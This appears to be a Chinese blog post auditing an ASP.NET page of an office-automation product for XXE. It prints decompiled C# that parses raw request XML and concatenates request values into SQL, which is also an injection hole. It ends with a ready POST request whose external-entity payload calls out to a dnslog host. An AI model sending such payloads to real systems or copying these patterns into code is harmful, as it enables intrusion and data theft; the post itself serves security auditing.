ASP.NET代码审计 XXE漏洞(XML外部实体注入)

最新推荐文章于 2025-08-02 22:34:55 发布

摸金校尉-马

最新推荐文章于 2025-08-02 22:34:55 发布

阅读量195

点赞数 1

CC 4.0 BY-SA版权

文章标签： xml

本文链接：https://blog.csdn.net/2301_77012231/article/details/149330866

全局搜索

xmlDocument.Load

FI_DealWith.cs代码

using System;
using System.Data;
using System.Text;
using System.Web.UI;
using System.Xml;
using Landray.DataAccess;
using LEOA.Core.BusinessRules.Organization;

namespace Landray.UI.Common;

public class FI_DealWith : Page
{
	private void Page_Load(object sender, EventArgs e)
	{
		StringBuilder stringBuilder = new StringBuilder();
		XmlDocument xmlDocument = new XmlDocument();
		xmlDocument.Load(base.Request.InputStream);
		XmlNode xmlNode = xmlDocument.SelectSingleNode("//root/prms");
		string value = xmlNode.Attributes["name"].Value;
		switch (value.ToLower())
		{
		case "identity":
		{
			string value2 = xmlNode.Attributes["id"].Value;
			string value3 = xmlNode.Attributes["tablename"].Value;
			string text = ((xmlNode.Attributes["columnname"] == null) ? "" : xmlNode.Attributes["columnname"].Value);
			string value4 = ((xmlNode.Attributes["columnvalue"] == null) ? "" : xmlNode.Attributes["columnvalue"].Value);
			string text2 = ((xmlNode.Attributes["columndesc"] == null) ? "" : xmlNode.Attributes["columndesc"].Value);
			string text3 = ((xmlNode.Attributes["region"] == null) ? "" : xmlNode.Attributes["region"].Value);
			if (text.Equals(""))
			{
				stringBuilder.Append(" SELECT * FROM ").Append(value3).Append(" WHERE id<>")
					.Append(value2);
			}
			else
			{
				stringBuilder.Append(" SELECT * FROM ").Append(value3).Append(" WHERE ")
					.Append(text)
					.Append("=N'")
					.Append(value4)
					.Append("' AND isnull(" + text + ",'')<>'' ")
					.Append(" AND id<>")
					.Append(value2);
			}
			if (text3.ToLower().Equals("org"))
			{
				stringBuilder.Append(" AND org_id=").Append(((Org)Session["Org"]).ID);
			}
			else
			{
				stringBuilder.Append(text3);
			}
			DataRow dataRow = DataAccess.GetDataRow(stringBuilder.ToString());
			if (null != dataRow)
			{
				base.Response.Write("[" + text2 + "]重复!");
			}
			break;
		}
		case "dataxml":
			stringBuilder.Append("SELECT ").Append(xmlNode.Attributes["columns"].Value).Append(" FROM ")
				.Append(xmlNode.Attributes["tablename"].Value)
				.Append(" WHERE ")
				.Append(xmlNode.Attributes["conditions"].Value);
			base.Response.Write("ok:" + DataAccess.GetDataXml(stringBuilder.ToString()).ToString());
			break;
		}
	}

	protected override void OnInit(EventArgs e)
	{
		InitializeComponent();
		base.OnInit(e);
	}

	private void InitializeComponent()
	{
		base.Load += Page_Load;
	}
}

关键代码

xmlDocument.Load(base.Request.InputStream);直接接收用户传入的HTTP流数中读取XML格式的数据

base.Request.InputStream
从当前HTTP请求的输入流（Request.InputStream）中读取XML格式的数据。

这里使用dnslog平台来证明可以调用远程的XML文件

POC

POST /common/FI_DealWith.aspx HTTP/1.1
Host: 
Cookie: .ASPXAUTH=5499FDD5EA2D1631ED228ED073CA724963EB46EBF16D9832B5A9722071A023DF220E0D305A8B8719C514E1FE22D3B5B9FC4448A0728FE8F84DBFE1CC3FBC1C01C62CD77F11FD21FAD65C5AD9BD8B3ADFCC8C6C9852BAD696E7DC76D277F90DDE4955258F0FF923C7E2F3E67DC4F7D1D7F08550F6
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://kx4mci.dnslog.cn">
%remote;]>
<root/>

成功外带